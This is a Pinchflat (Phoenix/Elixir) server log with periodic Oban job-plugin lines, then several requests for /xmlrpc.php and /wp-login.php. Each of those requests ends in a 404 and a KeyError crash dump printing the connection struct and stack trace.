{"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:49.175 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.440 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:57:19.176 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:49.177 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.441 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:58:19.178 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:49.179 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.442 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:59:19.180 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:49.181 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.443 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:00:19.183 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:49.185 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.444 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:01:19.186 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:49.187 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.445 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:02:19.188 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:49.189 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.446 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:03:19.191 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:49.192 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.447 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:04:19.193 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:49.195 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.448 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:05:19.196 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:49.197 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.449 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:06:19.198 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:49.199 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.450 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:07:19.200 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:49.201 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.452 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:08:19.202 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:49.204 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.452 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:09:19.205 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:49.206 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.453 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:10:19.207 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:46.660 [info] GET /xmlrpc.php 08:10:46.661 [debug] QUERY OK source="settings" db=0.1ms idle=1967.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:46.661 [debug] QUERY OK source="settings" db=0.1ms idle=1967.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:46.661 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:10:46.661 [error] #PID<0.16902.0> running PinchflatWeb.Endpoint (connection #PID<0.16901.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /xmlrpc.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16902.0>, params: %{}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.8layer8.com"}, {"sec-ch-ua", "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGdRLnDXvKV6jUAB8-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-u (truncated) 08:10:46.932 [info] GET /wp-login.php 08:10:46.932 [debug] QUERY OK source="settings" db=0.1ms idle=688.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:46.932 [debug] QUERY OK source="settings" db=0.1ms idle=271.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:46.932 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:10:46.933 [error] #PID<0.16903.0> running PinchflatWeb.Endpoint (connection #PID<0.16901.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16903.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.8layer8.com"}, {"sec-ch-ua", "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGdRMnyZsKC9JwAB9AB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", (truncated) 08:10:49.208 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:50.238 [info] GET /xmlrpc.php 08:10:50.239 [debug] QUERY OK source="settings" db=0.1ms idle=1545.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:50.239 [debug] QUERY OK source="settings" db=0.1ms idle=1545.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:50.239 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:10:50.240 [error] #PID<0.16904.0> running PinchflatWeb.Endpoint (connection #PID<0.16901.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /xmlrpc.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16904.0>, params: %{}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.8layer8.com"}, {"sec-ch-ua", "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGdRY8KR1mlx-oAB9CB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16901.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 40908}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", 